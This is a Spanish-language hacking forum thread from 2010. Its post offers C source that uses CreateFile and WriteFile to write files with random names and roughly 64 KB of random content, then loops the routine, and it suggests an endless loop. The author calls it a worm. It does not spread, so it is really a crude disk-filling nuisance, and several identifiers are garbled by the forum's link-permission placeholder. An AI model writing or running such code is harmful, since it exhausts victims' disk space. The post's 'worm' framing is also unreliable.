comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[C] Empezar con CreateFile y terminar creando un worm

  • 1 Respuestas
  • 2543 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Jhonjhon_123

  • *
  • Underc0der
  • Mensajes: 150
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Jhonjhon_123's Software In Developed
« en: Febrero 23, 2010, 07:45:44 pm »
Bueno estuve pensando en crear un bonito worm que me permitiese crear archivos, y he decidido hacerlo en C.
Es una técnica muy sencilla pero que puede resultar muy util.

Empezaremos con crear un archivo con un nombre aleatorio.Para luego crear un bucle.

Código: C
  1.  
  2. #include <windows.h>
  3. #include <stdio.h>
  4.  
  5. //librerias
  6.  
  7. char secuencialetras[ ] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
  8.  
  9. //todo el alfabeto, ten en cuenta que al borrar o cambiar una letra, se cambiaria todo el nombre del archivo que se va  a generar
  10.  
  11. int Random( char* buffer, int l ) // creamos una funcion con la cual pondremos el nombre aleatorio a todos los archivos
  12. {
  13. for( int z = 0; z < l; z++ )
  14. {
  15. buffer[ z ] = secuencialetras[ (No tienes permisos para ver links. Registrate o Entra con tu cuenta()*No tienes permisos para ver links. Registrate o Entra con tu cuenta()) % No tienes permisos para ver links. Registrate o Entra con tu cuenta( secuencialetras ) ];
  16. buffer[ l ] = 0;
  17. }
  18. };
  19.  
  20. int crear( char* archivo, char* contenido ) // funcion que crea el archivo
  21. {
  22. unsigned long bytesescritos;
  23. HANDLE hFile = CreateFile( archivo, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );  //esto ahora luego lo explico mejor
  24. WriteFile( hFile, contenido, No tienes permisos para ver links. Registrate o Entra con tu cuenta( contenido ), &bytesescritos, 0 );
  25. CloseHandle( hFile );
  26. };
  27.  
  28. int main( )
  29. {
  30.  
  31. char archivo[32], contenido[ 0xFFFF ]; //cuantos caracteres va a tener nuestro archivo
  32. Random( archivo, sizeof( archivo ) - 1 );
  33.  
  34. Random( contenido, sizeof( contenido ) );
  35.  
  36. crear( archivo, contenido );
  37.  
  38. return 0;
  39. };
  40.  
  41.  

Como se ve no es nada del otro mundo.
La funcion CreateFile nos permite abrir o crear un nuevo archivo según modifiquemos el parámetro dwCreationDisposition [in] .
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Y lo mismo con WriteFile, nos permite cuantos bytes escribir en los archivos y ponerle el nombre.
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Bueno ahora nos saldrá un archivo con nombre aleatorio, y de tamaño 63,9 KB, porque tan poco para un worm, porque esto nos permite crear archivos rapidamente y a la larga sera más eficiente.

Para crear el worm solo necesitamos un bucle en int main.

Un ejemplo para crear solo 3 archivos.

Código: C
  1.  
  2. #include <windows.h>
  3. #include <stdio.h>
  4.  
  5. //librerias
  6.  
  7. char secuencialetras[ ] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
  8.  
  9. //todo el alfabeto, ten en cuenta que al borrar o cambiar una letra, se cambiaria todo el nombre del archivo que se va  a generar
  10.  
  11. int Random( char* buffer, int l ) // creamos una funcion con la cual pondremos el nombre aleatorio a todos los archivos
  12. {
  13. for( int z = 0; z < l; z++ )
  14. {
  15. buffer[ z ] = secuencialetras[ (No tienes permisos para ver links. Registrate o Entra con tu cuenta()*No tienes permisos para ver links. Registrate o Entra con tu cuenta()) % No tienes permisos para ver links. Registrate o Entra con tu cuenta( secuencialetras ) ];
  16. buffer[ l ] = 0;
  17. }
  18. };
  19.  
  20. int crear( char* archivo, char* contenido ) // funcion que crea el archivo
  21. {
  22. unsigned long bytesescritos;
  23. HANDLE hFile = CreateFile( archivo, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );  //esto ahora luego lo explico mejor
  24. WriteFile( hFile, contenido, No tienes permisos para ver links. Registrate o Entra con tu cuenta( contenido ), &bytesescritos, 0 );
  25. CloseHandle( hFile );
  26. };
  27.  
  28. int main( )
  29. {
  30. for(int b = 0; b < 3; b++ )
  31. {
  32. char archivo[32], contenido[ 0xFFFF ]; //cuantos caracteres va a tener nuestro archivo
  33. Random( archivo, sizeof( archivo ) - 1 );
  34.  
  35. Random( contenido, sizeof( contenido ) );
  36.  
  37. crear( archivo, contenido );
  38. }
  39. return 0;
  40. };
  41.  
  42.  

Podemos usar while(true) o for(int b=0 ; b < 10 ; b--)

Eso ya es imaginación suya.

Autor. Pablo
« Última modificación: Febrero 08, 2014, 06:20:52 pm por Expermicid »
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado P4|3L0

  • *
  • Underc0der
  • Mensajes: 9
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Marzo 31, 2016, 05:51:26 am »
Gracias por guardarme los códigos.  :o :o :o

 

¿Te gustó el post? COMPARTILO!